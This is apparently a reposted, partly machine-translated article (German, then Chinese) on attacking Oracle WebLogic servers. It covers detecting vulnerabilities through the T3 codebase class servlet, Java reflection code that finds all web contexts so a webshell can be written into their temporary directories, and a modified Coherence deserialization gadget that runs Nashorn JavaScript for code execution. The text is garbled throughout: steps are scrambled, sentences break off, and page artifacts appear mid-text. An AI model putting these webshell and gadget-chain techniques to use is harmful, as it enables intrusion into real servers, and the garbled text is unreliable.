Der WebLogic-Server zeichnet sich durch eine große und komplexe Architektur aus, die für das blaue Team im Allgemeinen schwer zu verteidigen ist und hauptsächlich im externen Netzwerk bereitgestellt wird. Darüber hinaus sind die Angriffskosten von Weblogic relativ gering. Solange eine Sicherheitslücke besteht, können Sie im Allgemeinen direkt die Root-Berechtigungen des Zielservers erhalten. Während der Angriffs- und Verteidigungsübungen konzentrierten sich alle großen Angriffsteams und Verteidiger darauf.
Natürlich haben verschiedene derzeit im Internet verfügbare Exploit-Programme, darunter auch meine eigenen Tools, mehr oder weniger Probleme. Deshalb habe ich kürzlich auf Wunsch eines Freundes einige Angriffsmethoden und „perfekte“ Verwendungsmöglichkeiten herausgefunden. Das rote Team kann damit seine eigenen Tools verbessern und das blaue Team kann damit Rückverfolgbarkeitsberichte schreiben.
Es gibt derzeit keine bessere Methode, um festzustellen, ob in den im Internet öffentlich verfügbaren Informationen Schwachstellen in Weblogic vorhanden sind. Normalerweise besteht der Ansatz verschiedener Tools darin, exp einmal zu verwenden. Wenn dies gelingt, liegt natürlich eine Sicherheitslücke vor. Wenn dies fehlschlägt, liegt keine Sicherheitslücke vor. Oder erkennen Sie es über DNSlog. Diese beiden Methoden sind durch verschiedene Faktoren eingeschränkt, was zu einer hohen Rate falsch positiver und falsch positiver Ergebnisse führt. Es ist auch möglich, die Regeln von Sicherheitsgeräten wie Honeypots und WAF auszulösen.
Natürlich stelle ich hier eine einfachere Möglichkeit vor, zu überprüfen, ob eine Schwachstelle vorliegt, nämlich die Verwendung der CODEBASE-Funktion von T3 RMI zur Überprüfung der Weblogic-Blacklist.
Codebasis: Einfach ausgedrückt ist Codebasis der Pfad zum Remote-Laden von Klassen. Wenn der Objektsender das Objekt serialisiert, werden die Codebasisinformationen an den Serialisierungsstream angehängt. Diese Informationen teilen dem Empfänger mit, wo er den ausführbaren Code für das Objekt finden kann.
Können wir dann anders denken, was wäre, wenn diese Klasse eine Blacklist-Klasse von Weblogic wäre? ? Darüber hinaus verwendet die Codebasis von Weblogic das http-Protokoll zur Übertragung von Klassen.
Die Verwendungsmethode ist wie folgt: Verwenden Sie Ihren Browser und bestätigen Sie, dass die andere Partei ein Weblogic-Server ist. Die URL lautet wie folgt: T3-Deserialisierungs-Blacklist http://xx:7001/bea_wls_internal/classes/weblogic /utils /io/oif/WebLogicFilterConfig.class
xmldecoder blacklisthttp://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.classxmldecoder 黑名单
http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
在weblogic.rjvm.InternalWebAppListener#contextInitialized
weblogic.rjvm.InternalWebAppListener#contextInitialized den Code, der die Codebasis verarbeitet, d. h. der Anforderungspfad lautet „classes“
if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}
Ich werde die Schwachstelle nicht allzu ausführlich vorstellen und nicht über die Ursache und Analyse sprechen die Verletzlichkeit hier.
1. Es gibt nur Echocodes im Internet, aber keine Exploit-Codes, wie z. B. Memory Horses2 Wenn Sie Horses schreiben, kann es zu Pfadproblemen kommen. Der Weg von Wenlogic ist zufällig und die derzeit im Internet veröffentlichten Lösungen sind atemberaubend.ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11
Ich denke, die Schwierigkeiten bei der Ausnutzung dieser Sicherheitslücke sind wie folgt: Aspekte
3. Rufen Sie die newInstance-Methode auf, um eine der JVM hinzugefügte Instanz der oben genannten Klasse zu generieren. 4. Rufen Sie die Instanzmethode auf, um den Angriff abzuschließen. Wenn Sie sich die Nutzlast ansehen, wissen Sie tatsächlich, wie man schreibt xmldecoder, daher werde ich hier nicht auf Details eingehenAlle oben genannten Probleme lassen sich tatsächlich auf ein Problem reduzieren: Wie findet man unter Weblogic den Kontext aller Webanwendungen?3. Wie finde ich alle Kontexte?
Lassen Sie uns sie einzeln lösen und dabei die Erfahrung von Weblogic 10 übernehmen. Konvertieren Sie die Datei in das Binärformat2. Rufen Sie die Methode defineClass von org.mozilla.classfile.DefiningClassLoader auf, um die obige Klassendatei in die virtuelle Maschine zu laden
Hier stelle ich eine Methode zur Verfügung, die unter Weblogic 10/12 getestet wurde und vom Protokoll nicht betroffen ist. Mit anderen Worten: Solange Sie den Code in Weblogic ausführen können, kann ich den gesamten Webkontext von Weblogic abrufen. Der Code lautet wie folgt
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne"); m.setAccessible(true); ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null); List<webappservletcontext> list = new java.util.ArrayList(); StringBuilder sb = new StringBuilder(); for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) { java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children"); childrenF.setAccessible(true); java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime); java.util.Iterator iterator = set.iterator(); while(iterator.hasNext()) { Object key = iterator.next(); if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) { Field contextF = key.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext context = (WebAppServletContext) contextF.get(key); list.add(context); } } } returnlist;</webappservletcontext>Nach dem Login kopieren2.1 获取随机路径
利用上面的代码，获取到weblogic 加载的所有的web context后，我们可以调用
context.getRootTempDir().getAbsolutePath()方法去获取目录的位置，然后写入webshell。我的代码如下
List<webappservletcontext> contexts = findAllContext(); Iterator<webappservletcontext> i = contexts.iterator(); StringBuilder sb = new StringBuilder(); while(i.hasNext()) { WebAppServletContext context = i.next(); sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath())); } returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>Nach dem Login kopieren截图如下
2.2 weblogic 12.x payload
weblogic 12.x 中，没有org.mozilla.classfile.DefiningClassLoader这个类，况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式，那就是通过java调用js。
从 JDK 1.8 开始，Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性，其中包含在 JDK 7 中引入的 invokedynamic，将 JavaScript 编译成 Java 字节码。
注意，不支持1.5以及1.5以下的JVM
在java执行js时，可以调用任意java对象，方法，类。需要注意的是，java是强类型语言，而js是弱类型语言，js有的时候可能会代码意想不到的类型转换。这里需要注意
只需要将上面加载context的代码，改成js就可以，在这里我贴一张截图
在nashorn中，默认最后一个变量作为调用本次js的返回值
三、weblogic T3反序列化
在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具， 。当然也有一点点bug，不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探测的话，参考前面的黑名单下载方式
当然，T3反序列化中也有很多坑，例如 cve-2020-2555 等，无法做到类似于CC链的任意代码执行，目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包，部署恶意代码。
但是我们依旧可以通过反序列化的链式执行，调用nashorn的方式，间接做到任意代码执行。
而我们待执行的js，通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下
image-20210329124530132
当然，corherence gadget处需要修改成如下
private static ChainedExtractor getChainedExtractor() { returnnew ChainedExtractor(new ReflectionExtractor[]{ new ReflectionExtractor( "newInstance", new Object[]{} ), new ReflectionExtractor( "getEngineByName", new Object[]{"nashorn"} ), new ReflectionExtractor( "eval", new Object[]{getJsCode()} ) }); }Nach dem Login kopieren
Das obige ist der detaillierte Inhalt vonWelche Weblogic-Angriffstechniken gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!
